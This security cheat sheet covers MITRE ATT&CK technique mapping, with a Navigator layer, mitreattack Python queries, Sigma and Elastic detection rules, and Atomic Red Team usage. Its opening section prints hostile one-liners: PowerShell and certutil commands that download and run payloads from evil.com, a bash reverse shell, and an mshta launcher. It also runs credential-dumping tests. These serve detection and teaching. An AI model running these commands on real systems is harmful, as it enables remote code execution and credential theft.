TTPs & MITRE ATT&CK

# T1059.001 - PowerShell
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"

# T1059.003 - Windows Command Shell
cmd.exe /c "certutil -urlcache -split -f http://evil.com/malware.exe C:\Windows\Temp\malware.exe && C:\Windows\Temp\malware.exe"

# T1059.004 - Unix Shell
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

# T1059.005 - Visual Basic
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -c IEX(malware)"",0:close")

# Create a layer file for a threat actor's TTPs
# Example: APT29 layer (simplified)
{
  "name": "APT29 TTPs",
  "versions": {
    "attack": "14",
    "navigator": "4.9.1"
  },
  "domain": "enterprise-attack",
  "description": "APT29 techniques from MITRE ATT&CK",
  "techniques": [
    {"techniqueID": "T1566.001", "score": 1, "color": "#ff6666"},
    {"techniqueID": "T1059.001", "score": 1, "color": "#ff6666"},
    {"techniqueID": "T1078", "score": 1, "color": "#ff6666"},
    {"techniqueID": "T1195.002", "score": 1, "color": "#ff0000"},
    {"techniqueID": "T1003.003", "score": 1, "color": "#ff6666"}
  ]
}

from mitreattack.stix20 import MitreAttackData

# Initialize ATT&CK data
mitre_attack = MitreAttackData("enterprise-attack.json")

# Get all techniques for a specific tactic
initial_access = mitre_attack.get_techniques_by_tactic("initial-access", "enterprise-attack")
for tech in initial_access:
    print(f"{tech.external_references[0].external_id}: {tech.name}")

# Get techniques used by a specific group
apt29_techniques = mitre_attack.get_techniques_used_by_group("intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542")
for tech in apt29_techniques:
    print(f"{tech['technique'].name}")

# Get mitigations for a technique
mitigations = mitre_attack.get_mitigations_mitigating_technique("attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b")
for m in mitigations:
    print(f"{m['mitigation'].name}: {m['mitigation'].description}")

# Sigma rule with ATT&CK tagging
title: Suspicious PowerShell Download Cradle
status: experimental
description: Detects PowerShell download cradle techniques
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - 'powershell'
            - 'IEX'
            - 'Net.WebClient'
    condition: selection
tags:
    - attack.execution
    - attack.t1059.001
    - attack.command_and_control
    - attack.t1105
level: high

# Elastic detection rule example
{
  "name": "LSASS Memory Access",
  "rule_id": "uuid-here",
  "risk_score": 73,
  "severity": "high",
  "threat": [
    {
      "framework": "MITRE ATT&CK",
      "tactic": {
        "id": "TA0006",
        "name": "Credential Access",
        "reference": "https://attack.mitre.org/tactics/TA0006/"
      },
      "technique": [
        {
          "id": "T1003",
          "name": "OS Credential Dumping",
          "reference": "https://attack.mitre.org/techniques/T1003/",
          "subtechnique": [
            {
              "id": "T1003.001",
              "name": "LSASS Memory",
              "reference": "https://attack.mitre.org/techniques/T1003/001/"
            }
          ]
        }
      ]
    }
  ],
  "query": "process where event.type == \"start\" and process.name : \"lsass.exe\""
}

# Atomic Red Team - Test specific techniques
# https://github.com/redcanaryco/atomic-red-team

# Install Invoke-AtomicRedTeam
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)

# List tests for a technique
Invoke-AtomicTest T1003.001 -ShowDetailsBrief

# Execute a specific test
Invoke-AtomicTest T1003.001 -TestNumbers 1

# Execute all tests for a technique
Invoke-AtomicTest T1059.001

# Cleanup after testing
Invoke-AtomicTest T1003.001 -Cleanup